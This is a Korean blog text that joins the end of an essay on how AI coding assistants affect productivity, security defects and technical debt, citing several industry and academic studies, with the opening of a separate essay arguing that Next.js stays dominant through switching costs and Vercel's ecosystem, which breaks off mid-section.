- 데이터 노출: PII/결제 데이터를 담은 레포지토리 수 **3배**, 권한 검사가 빠진 API **10배**.
- 시간축: 2024년 12월 대비 2025년 6월 AI 생성 코드에서 새로 잡힌 보안 이슈가 **10배**.

Apiiro는 "문제가 얕은 신택스 오류에서 깊은 아키텍처 결함 쪽으로 옮겨간다"고 정리했다. 얕은 버그는 린터와 테스트가 잡지만, 아키텍처 결함은 잡을 장치가 사실상 사람뿐이다. 이 방향성은 뒤에서 볼 GitClear·Sonar 결과와 일치하지만, 322%·10배 같은 구체적 크기는 Apiiro의 자체 측정 기준에 의존한다는 점은 감안해야 한다. 다만 네 연구의 결함 비율이 24~40% 구간에 걸쳐 있다는 점과, Stanford가 보고한 "AI 사용자가 자기 코드를 더 안전하다고 믿는" 경향을 함께 놓고 보면 "모델이 좋아지면 자연스럽게 해결된다"는 기대를 뒷받침하기는 어렵다.

## 실증 3: 기술 부채가 쌓이는 시그널

### GitClear: 5년 종단 데이터

커밋 분석 도구 벤더 [GitClear가 2025년에 낸 종단 분석 리포트](https://www.gitclear.com/ai_assistant_code_quality_2025_research)는 2020년부터 2024년까지 2억 1,100만 라인의 코드 변화를 추적했다.

- **리팩토링**으로 분류되는 라인 비중: 2021년 25% → 2024년 **10% 미만**.
- **copy/paste**로 분류되는 중복 코드 비중: 2020년 8.3% → 2024년 **12.3%**.
- 중복 블록 절대 수: 2024년 한 해에 전년 대비 **약 8배 급증**.
- 머지 후 **2주 안에 다시 수정**되는 churn 코드 비중: 2020년 5.5% → 2024년 **7.9%**.

GitClear는 이 흐름을 "새로 들어오는 코드가 점점 일회용(disposable)에 가까워진다"고 요약했다.

### DORA 2024 → 2025: 바뀐 것과 그대로인 것

Google의 DORA 리포트는 매년 수천 명 규모의 개발자 설문을 바탕으로 소프트웨어 딜리버리 성능을 잰다.

[2024년 리포트](https://cloud.google.com/blog/products/devops-sre/announcing-the-2024-dora-report)의 주요 숫자는 이렇다.

- AI 도입이 25% 늘 때마다 개인 생산성 **+2.1%**, 직무 만족 **+2.6%**.
- 팀 단위 딜리버리 throughput **-1.5%**.
- 딜리버리 안정성 **-7.2%**.
- AI가 만든 코드를 "믿지 않는다"고 답한 비율 **39%**.

[2025년 리포트](https://dora.dev/research/2025/dora-report/)에서는 지표 일부가 뒤집혔고 일부는 그대로다.

- AI 도입률: **90%**.
- "heavy reliance"로 사용 중: **65%**.
- 생산성이 올랐다고 느끼는 비율: **80%+**.
- Throughput: AI 도입과 **양의 상관**으로 반전(작년엔 음).
- 안정성: AI 도입과 **여전히 음의 상관**.

DORA는 이걸 이렇게 요약한다.

> "AI는 팀을 고치지 않는다. 팀에 있던 것을 증폭한다."
>
> _AI doesn't fix a team; it amplifies what's already there._

DORA가 꼽은 "AI 증폭 조건"은 플랫폼 엔지니어링, 자동화 테스트, 짧은 피드백 루프, 가치 흐름 관리(VSM) 같은 고전적 소프트웨어 공학 기본기다. 이 조건이 없는 팀에서 AI를 들이면 안정성이 더 나빠지는 쪽으로 결과가 기운다.

### Sonar 2025: 개발자가 직접 답한 데이터

정적 분석 도구 벤더 [Sonar가 낸 State of Code Developer Survey 2025](https://www.sonarsource.com/state-of-code-developer-survey-report.pdf) — 개발자 자기 보고 설문이다 — 의 숫자는 이렇다.

- "AI가 불필요하거나 중복 코드를 만들어 **기술 부채가 늘었다**": **40%**.
- "AI가 프로젝트 기술 부채에 **한 가지 이상 부정적으로 작용**했다": **88%**.
- 가장 많이 꼽힌 부작용 세 가지: 중복/유사 코드 증가, 읽기 힘든 코드 증가, 맥락에 맞지 않는 패턴 도입.

다만 "한 가지 이상 부정적으로 작용"이라는 문항이 포괄적이어서 88%라는 숫자가 곧 결함의 심각도를 가리키는 건 아니다. 그럼에도 Sonar는 이걸 "great toil shift(고된 일의 전환)"라고 부른다. 작업 무게가 코드 짜는 쪽에서 유지보수 쪽으로 옮겨간다는 뜻이다.

### arXiv 2603.28592: AI 커밋 30만 개 직접 분석

2026년 arXiv에 올라온 [Debt Behind the AI Boom: A Large-Scale Empirical Study of AI-Generated Code in the Wild](https://arxiv.org/abs/2603.28592)은 지금까지 나온 커밋 단위 연구 중 가장 규모가 크다.

- 분석 대상: GitHub 공개 저장소 **6,275개**.
- 모은 AI 저자 커밋: **304,362개**.
- 대상 도구: GitHub Copilot, Claude, Cursor, Gemini, Devin (각각 1만 커밋 이상).
- 잡힌 이슈 총합: **484,606개**.
- 그중 code smell 비중: **89.1%**.
- 다섯 도구 공통 패턴: 커밋 15% 이상이 이슈를 한 개 이상 새로 만든다.
- 그중 최신 리비전까지 살아남은 비율: **24.2%**.

마지막 숫자가 실무적으로 제일 무겁다. AI가 집어넣은 이슈의 약 4분의 1은 시간이 지나도 발견되거나 고쳐지지 않은 채 남는다. 최근에는 이걸 "이해 부채(comprehension debt)"라고 부르는 논의가 나온다. 그 코드를 처음에 직접 짠 사람이 없으면, 열어서 이해하는 비용이 다른 일을 제쳐가며 손볼 이유가 되지 못하기 때문이다. 리팩토링 비중은 줄고, 중복 코드와 churn은 늘고, 안정성은 음의 상관을 유지하고, 한 번 들어온 이슈는 그대로 남는다. 배포량은 늘고, 유지보수 가능성은 줄어든다.

## 보이는 수준만 증폭된다는 관찰

세 영역의 결과를 한자리에 놓으면 표면적으로는 어긋난다. 생산성은 조건 따라 오르기도 내리기도 하고, 품질은 한 방향으로 나쁘고, 부채는 누적된다. 그런데 이 엇갈림에는 같은 메커니즘이 있다.

> AI는 개발자가 이미 가진 판단 기준을 증폭한다. 기준이 있는 영역에서는 속도를 배가시키고, 기준이 없는 영역에서는 검증되지 않은 코드를 그대로 쏟아낸다.

DORA가 팀 단위로 말한 "AI는 고치지 않는다, 증폭한다"는 개인에게도 그대로 성립한다. Stanford의 AI 사용자가 자기 코드를 더 안전하다고 믿은 결과, METR의 숙련 개발자가 자기 시간을 반대로 잰 결과, Stack Overflow에서 사용률과 신뢰도가 거꾸로 간 흐름은 전부 자기 판단 기준의 경계를 스스로 보지 못한다는 지점에서 만난다.

## 개인 관찰

여기서부터는 실측이 아니라 주관이다. 최근 AI 코딩 도구를 일상적으로 쓰면서, 그리고 주변 개발자들과 얘기를 나누면서 위 자료들이 가리키는 방향이 내 감각과 크게 어긋나지 않는다고 자주 느낀다.

일단 제품 출시 속도와 프로덕트 품질이 반대로 간다는 감각이 있다. AI로 개발이 빨라지니 출시 주기는 짧아지는데, 그렇게 나간 프로덕트는 어딘가 결이 거칠어 보일 때가 많다. 프론트엔드 쪽에서 이 대가는 결국 고객이 진다. 인터랙션이 삐걱대고, 일관성이 무너지고, 접근성이 떨어지는 화면이 눈에 띄게 늘었다. 그런데 업계 전반에서 오는 요구는 여전히 "더 빠르게 출시"다. 그 사이에서 품질을 누가 지킬지는 분명하지 않다.

저연차 개발자가 깊게 고민할 기회를 잃는 장면도 반복해서 본다. 리뷰를 돌다 보면 구현은 깔끔한데 "왜 이렇게 짰는지" 물어보면 대답이 나오지 않는 PR이 티가 난다. AI 답을 읽고 그대로 올린 결과다. 빠른 사이클을 따라가려다 보니 문제를 직접 설계하고 막혀보고 다시 짜보는 시간이 줄어든다. 가설을 세워보고 틀려봐야 알게 되는 것들이 쌓이지 않는다. [Anthropic이 2026년에 낸 연구](https://www.anthropic.com/research/AI-assistance-coding-skills)가 이 감각을 숫자로 보여준다. 새 라이브러리를 배우는 실험에서 AI 사용을 허용한 그룹의 이해도 테스트 평균은 50%, AI 없이 직접 코드를 짠 그룹은 67%였다. AI 그룹 안에서도 코드 생성을 통째로 위임한 사람은 40% 미만까지 떨어졌고, AI를 개념 질문에만 쓴 사람은 65% 이상이었다. 완료 시간은 AI 그룹이 약 2분 빨랐지만 유의수준에는 미달이었다. 생산성은 별로 오르지 않고 학습만 줄었다. Anthropic은 이 차이를 "cognitive engagement vs. cognitive offloading"(인지적 관여 대 인지 외주화)이라고 부른다. 문제를 자기 머리로 풀고 AI에겐 설명이나 힌트만 받아 쓰는 쪽이 전자, 문제 해결 자체를 통째로 맡기고 결과만 받아 쓰는 쪽이 후자다. 같은 도구를 쥐고도 어떻게 쥐느냐에 따라 머릿속에 남는 것이 달라진다.

코드베이스가 커지면 AI가 제대로 보지 못하는 영역도 함께 넓어진다. 수백 파일, 여러 서비스로 갈라진 구조에서 AI는 주어진 파일 주변만 본다. 지금 붙여야 할 기능에는 집중해도 바로 옆에 쌓인 부채 영역은 건드리지 않는다. 때로는 그 부채를 피해 가는 방향으로 코드를 만들어, 원래 있던 부채는 그대로 두고 우회 로직만 새로 쌓는다. 리뷰에서도 이 패턴이 자주 보인다. 수정된 파일은 깔끔한데 그 옆 파일의 중복이나 이상한 상태 관리는 손대지 않은 채 남아 있다. 기능은 붙지만 코드베이스는 조금씩 더 꼬인다.

내가 직접 짜지 않은 코드의 약점도 잘 보이지 않는다. 내가 타이핑한 코드는 어디가 아슬아슬한지 감이 온다. 거기는 테스트를 더 꼼꼼히 돌리고 리뷰에서도 한 번 더 설명한다. 그런데 AI가 써준 코드는 읽어서 이상이 없으면 그대로 올리게 된다. 린트와 테스트가 통과하면 "문제 없네"가 기본값이 된다. 여기에 한 겹이 더 쌓인다. AI가 쓴 코드의 PR 리뷰까지 같은 AI 모델에 맡기는 흐름이다. 작성자와 검증자가 같은 모델이면 맹점도 같다. 놓치는 결함의 범위가 정확히 겹치는데, PR에는 "AI가 봐줬으니 괜찮다"는 신호만 남는다. 앞서 Stanford가 보고한 "자기 코드를 더 안전하다고 믿는" 경향이 작성자와 리뷰어 양쪽에서 동시에 일어나는 셈이다. 그렇게 발견되지 않은 부채가 숫자로만 쌓이는 감각은, 앞서 본 arXiv 2603.28592의 24.2% 잔존율과 정확히 겹친다.

이 장면들을 같이 놓고 보면, 지금 물어야 할 건 "AI로 코드를 얼마나 빨리 뽑을지"가 아니라 "속도가 풀어준 시간을 어디로 돌릴지"다. 도구가 빨라진다고 내 판단이 같이 빨라지지는 않는다.

## 그래서 공부는 여전히 필요하다

위 관찰이 선언이 아니라 주장이 되려면 "그래서 뭘 해야 하는가"가 명확해야 한다. 내 대답은 공부다. 이유는 세 가지다.

먼저 내가 문제에 이름을 붙일 수 있는 범위가 AI 효용의 천장이다. 같은 AI한테 "성능 문제 좀 해결해줘"라고 던지면 AI는 뭘 손볼지 몰라 코드베이스를 한참 훑기만 하다 끝난다. 반면 "의존성 중복으로 번들이 커져서 생긴 성능 문제 해결해줘"라고 좁히면 원인 파악과 수정까지 빠르게 도착한다. "Sentry에 떠 있는 문제 고쳐줘"보다 "이 화면의 동시성 문제 고쳐줘"가 훨씬 쓸 만한 결과를 낸다. 그 구체성은 내가 문제를 "의존성 중복"이나 "동시성 문제"로 진단할 수 있어야 나온다. 지시의 해상도가 결과의 해상도를 결정하는데, 그 해상도는 내가 붙일 수 있는 이름의 범위에서 나온다. 내가 인식하지 못한 문제는 AI에게 정확히 묻기도, 돌아온 결과를 제대로 검증하기도 어렵다. 내가 멈추면 AI 효용의 천장도 거기서 멈춘다.

부채를 막는 마지막 방어선 역시 코드를 읽는 사람의 판단이다. AI가 집어넣은 이슈의 24.2%가 고쳐지지 않고 살아남는다는 숫자(arXiv 2603.28592)는, 린터도 테스트도 CI도 놓치는 결함이 현실에 존재한다는 뜻이다. 이걸 잡을 수 있는 마지막 장치는 PR 시점에 그 코드를 읽는 사람 하나뿐이다. Stanford 결과처럼 AI 사용자가 자기 코드를 과신하는 경향을 깨는 힘도, 지식과 그 위에서 쌓인 의심의 습관에서 나온다.

마지막으로 학습은 복리로 쌓인다. METR이 같은 개발자 10명에게 1년 뒤 재실험을 했을 때 -19%에서 +18%로 움직인 결과를, METR 자신은 "참가자들의 AI 사용 숙련도가 쌓였기 때문"으로 해석한다. 모델 쪽에 큰 변화가 없던 구간에서 사람 쪽에만 변화가 있었다는 얘기다. 반대 방향도 비슷한 속도로 벌어질 수 있다. 한 번의 큰 결심이 아니라 매일의 작은 누적이 만드는 차이라서, 놓친 기간을 몰아서 메우기도 쉽지 않다.

AI로 결과물을 빠르게 뽑아내는 자기 자신에게 감탄하고 있을 때가 아니다. METR이 찍은 체감 +20% 대 실측 -19%의 갭이 가리키는 지점이 바로 여기다. "오늘 이만큼이나 찍어냈다"는 감각이 가장 강할 때, 실제 코드 품질과 내 성장은 반대 방향으로 움직이고 있을 가능성이 높다.

그래서 "AI로 빨라진 속도를 어디에 쓸 것인가"가 다음 질문이 된다. 요즘 흔히 보이는 답은 병렬이다. AI 세션을 여러 개 띄워 여러 태스크를 동시에 움직인다. 단기 산출량은 확실히 늘어나지만, 위 세 축 중 어느 하나도 늘어나지 않는다. 지시는 거칠어지고, 검증은 얕아지고, 학습은 미뤄진다. 반대 방향은 "더 적게, 더 깊게"다. 한두 작업에 집중해서 AI가 짜준 결과를 한 번 더 의심하고, 구조와 엣지 케이스를 직접 따져보고, 거기서 모르는 영역이 드러나면 그 부분만 따로 공부한다. 같은 시간을 써도 이쪽이 세 축 전부에 입력을 준다. 개인에게 장기적으로 남는 것도 이쪽이다.

세 가지는 따로 움직이지 않는다. 지시 정확도가 올라가면 검증이 쉬워지고, 검증이 쉬워지면 학습이 빨라지고, 학습이 복리로 쌓이면 천장이 열린다. 한 축만 무너져도 나머지가 같이 밀린다. 조직 차원의 개선을 기다리는 데엔 한계가 있다. 지금 개인이 쥘 수 있는 레버는 공부가 가장 현실적이다.

## 마치며

지금까지 본 자료들이 모두 한쪽으로 몰려 있진 않았다. "AI가 빠르다"는 증거와 "AI가 느려지게 만든다"는 증거가 같은 해에 같이 나와 있다. 품질과 보안 쪽만 꾸준히 부정적이고, 기술 부채 쪽은 여러 지표가 최근에서야 같은 방향으로 맞춰지기 시작했다. 그만큼 결론을 내리기에는 아직 이르다고 볼 수도 있다.

그래도 엇갈림 한가운데서 한 가지는 반복해서 찍힌다. AI가 내 수준을 대체하지는 않는다는 것. 도구는 내가 아는 만큼만 나를 증폭하고, 내가 모르는 영역에서는 검증되지 않은 코드를 그대로 쌓는다. 개인이 당장 쥘 수 있는 대응은 세 가지뿐이다. 도구를 바꾸는 것, 프로세스를 바꾸는 것, 판단 기준 자체를 넓히는 것. 앞의 둘은 조직이 움직여야 하는데 그 속도가 느리다. 마지막 하나가 지금 내가 쥘 수 있는 레버다.

남는 질문은 한 줄이다.

> **내 판단 기준의 경계는 어디까지이고, 그 경계를 지금 누가 넓히고 있는가.**

이 질문에 답할 수 있는 사람은 결국 개발자 본인뿐이다. 그 답은 여전히 공부다.

## 참고

### 생산성 측정 — 긍정적 결과

- [The Impact of AI on Developer Productivity: Evidence from GitHub Copilot — Peng et al., 2023 (arXiv:2302.06590)](https://arxiv.org/abs/2302.06590)
- [Research: quantifying GitHub Copilot's impact on developer productivity and happiness — GitHub, 2022](https://github.blog/news-insights/research/research-quantifying-github-copilots-impact-on-developer-productivity-and-happiness/)
- [Research: Quantifying GitHub Copilot's impact in the enterprise with Accenture — GitHub, 2024](https://github.blog/news-insights/research/research-quantifying-github-copilots-impact-in-the-enterprise-with-accenture/)
- [Experience with GitHub Copilot for Developer Productivity at Zoominfo — 2025 (arXiv:2501.13282)](https://arxiv.org/abs/2501.13282)

### 생산성 측정 — 중립 또는 부정적 결과

- [Can Generative AI Improve Developer Productivity? — Uplevel Data Labs, 2024](https://visualstudiomagazine.com/articles/2024/09/17/another-report-weighs-in-on-github-copilot-dev-productivity.aspx)
- [Measuring the Impact of Early-2025 AI on Experienced Open-Source Developer Productivity — METR, 2025.07](https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/)
- [We are Changing our Developer Productivity Experiment Design — METR, 2026.02](https://metr.org/blog/2026-02-24-uplift-update/)

### 개발자 서베이

- [2024 Stack Overflow Developer Survey — AI section](https://survey.stackoverflow.co/2024/ai)
- [2025 Stack Overflow Developer Survey — AI section](https://survey.stackoverflow.co/2025/ai)
- [Developers remain willing but reluctant to use AI — Stack Overflow Blog, 2025.12](https://stackoverflow.blog/2025/12/29/developers-remain-willing-but-reluctant-to-use-ai-the-2025-developer-survey-results-are-here/)

### 품질·보안 실증 연구

- [Asleep at the Keyboard? Assessing the Security of GitHub Copilot's Code Contributions — Pearce et al., NYU, 2021 (arXiv:2108.09293)](https://arxiv.org/abs/2108.09293)
- [Do Users Write More Insecure Code with AI Assistants? — Perry et al., Stanford, 2022 (arXiv:2211.03622)](https://arxiv.org/abs/2211.03622)
- [Security Weaknesses of Copilot-Generated Code in GitHub Projects: An Empirical Study — ACM TOSEM, 2024](https://dl.acm.org/doi/10.1145/3716848)
- [4x Velocity, 10x Vulnerabilities: AI Coding Assistants Are Shipping More Risks — Apiiro, 2025.09](https://apiiro.com/blog/4x-velocity-10x-vulnerabilities-ai-coding-assistants-are-shipping-more-risks/)

### 기술 부채 관측

- [AI Copilot Code Quality: 2025 Data Suggests 4x Growth in Code Clones — GitClear, 2025](https://www.gitclear.com/ai_assistant_code_quality_2025_research)
- [Announcing the 2024 DORA Report — Google Cloud, 2024](https://cloud.google.com/blog/products/devops-sre/announcing-the-2024-dora-report)
- [State of AI-assisted Software Development 2025 — DORA, 2025.12](https://dora.dev/research/2025/dora-report/)
- [State of Code Developer Survey 2025 — Sonar, 2025](https://www.sonarsource.com/state-of-code-developer-survey-report.pdf)
- [Debt Behind the AI Boom: A Large-Scale Empirical Study of AI-Generated Code in the Wild — arXiv:2603.28592, 2026](https://arxiv.org/abs/2603.28592)

### 학습과 인지

- [How AI Assistance Impacts the Formation of Coding Skills — Anthropic Research, 2026](https://www.anthropic.com/research/AI-assistance-coding-skills)

---

Source: https://yceffort.kr/2026/03/why-still-nextjs.md
Title: 왜 여전히 <em>Next.js</em>를 쓰는가
Description: 기술 우위보다 강한 전환 비용
Date: 2026-03-23
Tags: nextjs, react, vercel, frontend, web
Series: Next.js의 현주소

## Table of Contents

## 서론

[이 시리즈](/2026/03/nextjs-edge-runtime-rise-and-fall)에서 네 편에 걸쳐 다뤘던 이야기를 정리하면 이렇다.

- [Edge Runtime은 후퇴했다.](/2026/03/nextjs-edge-runtime-rise-and-fall) Vercel이 "Edge에서 모든 것을 실행한다"고 약속한 비전은 Node.js Runtime 권장으로 돌아왔고, Next.js 16의 `proxy`는 Node.js only로 설계되었다.
- [Cloudflare는 Next.js를 다시 만들기 시작했다.](/2026/03/why-cloudflare-rebuilt-nextjs) 문서화되지 않은 빌드 출력물과 비공개 `minimalMode` 플래그 때문에, 타 플랫폼은 Next.js를 지원하기 위해 역공학에 의존해야 했다. Cloudflare는 결국 API 표면을 Vite 위에서 재구현하는 vinext를 택했다.
- [React의 거버넌스는 흔들리고 있다.](/2026/03/react-is-whose) RSC의 핵심 설계자가 Vercel 소속이고, 새 기능은 Next.js에서 먼저 "안정화"된 뒤 1년 이상 지나서야 React에 공식 반영된다. React Foundation은 출범했지만 기술 거버넌스의 구체적 구조는 아직 공개되지 않았다.
- [SSR 성능에는 구조적 격차가 있다.](/2026/03/is-nextjs-fast-enough) Platformatic 벤치마크에서 TanStack Start는 13ms/100% 성공, Next.js 16 canary는 431ms/64% 성공이었다. RSC의 이중 데이터 아키텍처와 프레임워크 레이어의 누적 오버헤드가 원인이다.

이 모든 문제에도 불구하고 Next.js는 지배적 위치를 유지하고 있다. 설문 기반 지표인 [State of JavaScript 2025](https://2025.stateofjs.com/en-US/libraries/meta-frameworks/)에서도 Next.js는 메타 프레임워크 사용률 1위이고, npm 주간 다운로드는 2위인 Nuxt의 4배를 넘긴다[^1]. 만족도가 하락하고 있음에도 채택률은 줄지 않는다.

왜 그런가? **Next.js가 지금도 기본값인 이유는 런타임이 빨라서가 아니라, 바꾸는 비용이 너무 높기 때문이다.** 생태계, 플랫폼, 채용 시장, 학습 자산. Vercel이 쌓아 올린 것들이 전환 비용을 만들었다. 그리고 그 전환 비용이 Next.js를 지탱한다.

중요한 것은, 이 구조가 강점과 약점을 동시에 만든다는 점이다. 빛과 어둠은 다른 곳에서 오지 않는다. 같은 설계에서 나온다.

## Vercel이 설계한 경로 의존성

### 생태계의 숫자

숫자부터 보자. Next.js의 npm 주간 다운로드는 약 900만으로, 2위인 Nuxt(약 200만)의 4.5배다[^1]. GitHub 스타는 133k를 넘겼고 Nuxt(56k)와 두 배 이상 차이가 난다. Stack Overflow에서 `[next.js]` 태그가 붙은 질문만 6만 건이 넘는데[^2], 이것은 단순한 인기 지표가 아니라 "검색하면 답이 나오는" 학습 자산의 축적량이다. 공식 예제 디렉토리에도 400개 이상의 템플릿이 들어 있다[^3].

이 숫자들이 같은 것을 측정하지는 않는다. 다만 공통적으로 보여주는 것은, Next.js가 새로 선택되는 프레임워크라기보다 이미 가장 많은 자료와 사례가 축적된 기본값이라는 점이다. TanStack Start나 React Router v7은 이 숫자 경쟁에 아직 참가조차 못한 수준이다. TanStack Start의 npm 주간 다운로드는 5만을 넘기지 못하고, React Router는 라우터로서의 다운로드(주간 1,400만)는 압도적이지만 메타 프레임워크로서의 v7 채택은 아직 초기다.

### 핵심 기여자 고용

[3편](/2026/03/react-is-whose)에서 다뤘듯, Vercel은 React Core 팀의 핵심 인물들을 고용했다. Sebastian Markbåge(RSC 설계자), Andrew Clark(React Fiber 공동 창시자)이 대표적이다. 이것은 단순한 인재 영입이 아니라 기술 방향에 대한 구조적 영향력의 확보다.

이 전략은 효과적이었다. RSC, Server Actions, `"use cache"` — React의 최근 주요 기능들이 Next.js에서 먼저 구현되고 검증된 뒤 React에 반영되는 패턴이 정착되었다. 개발자 입장에서 React의 최신 기능을 가장 빨리 쓸 수 있는 프레임워크는 사실상 Next.js뿐이다.

### 서드파티 생태계의 정렬

Vercel의 [통합 마켓플레이스](https://vercel.com/integrations)에는 CMS(Sanity, Contentful, Storyblok), 인증(Clerk, Auth0), 데이터베이스(Neon, PlanetScale, Supabase), 분석(Segment, Amplitude) 등 주요 서드파티 서비스들이 등록되어 있다. 이들은 Next.js용 공식 SDK나 플러그인을 우선 제공한다.

[Sanity](https://www.sanity.io/exchange?framework=nextjs)를 예로 들면, Next.js용 공식 통합(next-sanity)은 App Router, Server Components, Visual Editing을 완벽히 지원한다. SvelteKit이나 Remix용 통합은 커뮤니티 수준이거나 기능이 제한적이다. CMS를 하나 선택하는 순간 프레임워크 선택지가 좁혀지는 것이다.

이것은 Vercel만의 특수한 전략이 아니다. 플랫폼 비즈니스의 교과서적 패턴이다. AWS가 Lambda 생태계를, Apple이 App Store 생태계를 구축한 것과 구조적으로 같다. 음모가 아니라 합리적인 비즈니스 전략이고, 그 합리성이 경로 의존성을 만든다.

### 경로 의존성의 메커니즘

경제학에서 경로 의존성(path dependence)은 초기 선택이 후속 선택의 범위를 제한하는 현상을 말한다[^4]. QWERTY 자판이 대표적 사례다. 기술적으로 최적이 아니어도, 타이피스트·교육·소프트웨어가 모두 QWERTY에 맞춰져 있기 때문에 전환 비용이 이점을 초과한다.

Next.js의 경로 의존성은 세 가지 층위에서 작동한다.

1. **학습 투자**: App Router의 멘탈 모델(서버/클라이언트 컴포넌트 경계, `"use client"`, Flight 프로토콜), Next.js 고유의 파일 규약(`layout.tsx`, `loading.tsx`, `error.tsx`), Middleware 패턴 등은 다른 프레임워크로 이전되지 않는 지식이다.
2. **인프라 결합**: Vercel에 배포하고 있다면 Edge Config, KV Store, Image Optimization, Analytics 등 플랫폼 서비스와 결합되어 있을 가능성이 높다. 프레임워크를 바꾸면 배포 파이프라인도 다시 구축해야 한다.
3. **생태계 의존**: 위에서 언급한 서드파티 통합들이다. CMS, 인증, 분석 도구가 Next.js에 최적화되어 있으면, 프레임워크 전환은 이 모든 통합을 재검증하는 작업이 된다.

이 세 가지의 합이 전환 비용이다. 그리고 이 전환 비용이 높을수록, 기존 선택을 유지하는 것이 합리적이 된다 — 설령 더 나은 대안이 존재하더라도.

중요한 것은 이 세 층위가 단순히 병렬적으로 쌓이는 것이 아니라 **자기강화적 루프(self-reinforcing loop)** 를 형성한다는 점이다. 사용자가 많기 때문에 학습 자료가 풍부하고, 학습 자료가 풍부하기 때문에 새 팀원의 온보딩이 빠르며, 온보딩이 빠르니 채용이 쉽고, 채용이 쉬우니 서드파티가 우선 투자하고, 서드파티 투자가 다시 사용자 증가로 이어진다. 이 루프 안에서는 개별 기술 비교에서 약점이 드러나더라도 선택의 기본값은 쉽게 바뀌지 않는다.

물론 경로 의존성은 무능한 제품을 살려주는 마법이 아니다. Next.js가 여기까지 온 배경에는 실제로 뛰어난 DX, 빠른 기능 실험, 풍부한 문서와 예제가 있었다. 이 글의 주장은 Next.js의 기술이 부실하다는 것이 아니라, **현재의 지배력이 더 이상 런타임 성능이나 구조적 단순성만으로는 설명되지 않는다** 는 데 있다.

## 같은 설계, 다른 결과

앞 절의 모든 항목에는 이면이 있다. 빛과 어둠이 다른 원인에서 오는 것이 아니라 **같은 설계 결정의 양면** 이라는 것이 이 시리즈의 핵심 관찰이다.

| Vercel의 설계 결정      | 빛                                            | 어둠                                                                                      |
| ----------------------- | --------------------------------------------- | ----------------------------------------------------------------------------------------- |
| React Core 팀원 고용    | React 기능 개발 가속, Next.js에서 빠른 프리뷰 | 거버넌스 우려, 프레임워크-라이브러리 의존 역전 ([3편](/2026/03/react-is-whose))           |
| Next.js에서 먼저 구현   | 개발자가 최신 React 기능에 빠르게 접근        | RSC "안정화" 19개월 선행, `"use cache"` React 스펙 부재                                   |
| Vercel 플랫폼 최적화    | 배포 경험 최상 (제로 설정, Edge 자동 분배)    | `minimalMode` 비대칭, 타 플랫폼 지원 비용 ([2편](/2026/03/why-cloudflare-rebuilt-nextjs)) |
| 서드파티 생태계 투자    | 풍부한 통합, 개발 생산성                      | vendor lock-in, 전환 비용 증가                                                            |
| 캐싱/ISR 중심 성능 전략 | 캐시 적중 시 뛰어난 응답 속도                 | 캐싱 없는 SSR 기저 성능 방치 ([4편](/2026/03/is-nextjs-fast-enough))                      |

이 표를 관통하는 패턴은 **"Vercel 안에서 최적, Vercel 밖에서 차선"** 이다. 문제는 이 설계가 비합리적이라는 데 있지 않다. Vercel의 비즈니스와 제품 전략이라는 관점에서는 매우 합리적이다. 다만 그 합리성이 모든 사용자, 특히 non-Vercel 인프라 사용자에게 동일한 이익으로 환원되지 않는다는 점이 갈등의 출발점이다.

Edge Runtime의 궤적이 이것을 가장 명확히 보여준다. [1편](/2026/03/nextjs-edge-runtime-rise-and-fall)에서 추적했듯, Vercel은 Edge를 적극적으로 밀었다. V8 Isolate 기반의 빠른 콜드 스타트, CDN 수준의 지연시간 — 기술적 비전은 매력적이었다. 하지만 Edge Runtime의 제약(Node.js API 미지원, 번들 크기 제한, 네이티브 모듈 불가)은 Vercel의 인프라에서는 Serverless 폴백으로 우회 가능했지만, 자체 인프라에서는 그대로 벽이 되었다. 결국 Vercel 스스로 Node.js Runtime을 권장하는 방향으로 후퇴했고, 그 후퇴의 비용은 Edge를 믿고 코드를 작성한 개발자들에게 돌아갔다.

비판하기는 쉽다. 하지만 공정하게 말하면, **Vercel이 없었다면 RSC의 상용화는 지금보다 훨씬 느렸을 가능성이 크다.** Meta의 React 팀은 연구 조직에 가깝고, RSC의 RFC가 발표된 2020년 12월부터 React 19 안정 릴리스(2024년 12월)까지 4년이 걸렸다. Vercel이 Next.js에서 RSC를 먼저 구현하고, 프로덕션 피드백을 React 팀에 전달하는 루프가 없었다면 이 기간은 더 길어졌을 것이다. 거버넌스의 독립성과 기능 개발의 속도 사이에는 구조적 긴장이 있고, Vercel은 속도를 택했다.

이 구조가 왜 만들어졌는지를 이해하려면, Vercel의 인센티브를 봐야 한다. Vercel은 2024년 Series E 기준 누적 $5.6B 이상의 기업 가치를 인정받았고, 그에 상응하는 투자금 회수 압력이 존재한다. Vercel의 수익 구조가 플랫폼 사용량과 연결되어 있다는 점을 감안하면, Next.js의 기능 우선순위가 Vercel 인프라의 장점을 극대화하는 방향으로 정렬될 유인은 충분하다. 이것이 곧 의도적 비용 유도 설계를 의미하는 것은 아니지만, 적어도 프레임워크의 최적화 방향이 플랫폼 사업자의 경제적 이해와 완전히 분리되어 있다고 보기도 어렵다.

**빛을 유지하면서 어둠만 제거할 수 있는가?** 이것이 React Foundation이 답해야 할 질문이다. 기술 거버넌스를 Vercel로부터 분리하면 독립성은 확보되지만, Next.js를 통한 빠른 프로토타이핑과 피드백 루프는 약화될 수 있다. 반대로 현재 구조를 유지하면 개발 속도는 유지되지만, "벤더 중립"이라는 약속은 공허해진다.

## 그래서 언제 외면받는가

경로 의존성은 영원하지 않다. QWERTY가 지속되는 것은 전환 비용이 이점을 초과하기 때문인데, **전환 비용이 줄거나 유지 비용이 늘면** 균형이 깨진다. Next.js에서의 이탈을 촉발하는 조건은 사용자 유형에 따라 다르다.

### Vercel SaaS 사용자

Vercel에 배포하고 있는 사용자는 Next.js와 가장 높은 시너지를 누리는 동시에, 가장 높은 결합도를 가진다.

**이탈 트리거: 비용 이상 징후.** [4편](/2026/03/is-nextjs-fast-enough)에서 다뤘듯, Next.js 16의 세그먼트별 프리페치 도입 후 한 사용자는 Edge Request가 700% 증가하여 월 $800 이상의 추가 비용이 발생했다([GitHub 이슈 #85470](https://github.com/vercel/next.js/issues/85470)). 프레임워크 업그레이드가 곧 인프라 비용 증가로 이어지는 구조에서, 비용 이상 징후는 가장 직접적인 이탈 트리거다.

하지만 이 사용자들은 역설적으로 **이탈이 가장 어렵다.** Vercel의 플랫폼 서비스(Edge Config, KV, Analytics, Web Analytics)와 결합되어 있을수록, 프레임워크 전환은 플랫폼 전환까지 의미하기 때문이다. 이들에게 현실적인 첫 번째 선택지는 "Vercel 위에서 다른 프레임워크"보다는 "비용 최적화"다 — 프리페치 비활성화, ISR 적용 범위 확대, 정적 생성 비율 늘리기 등.

### 자체 인프라 사용자

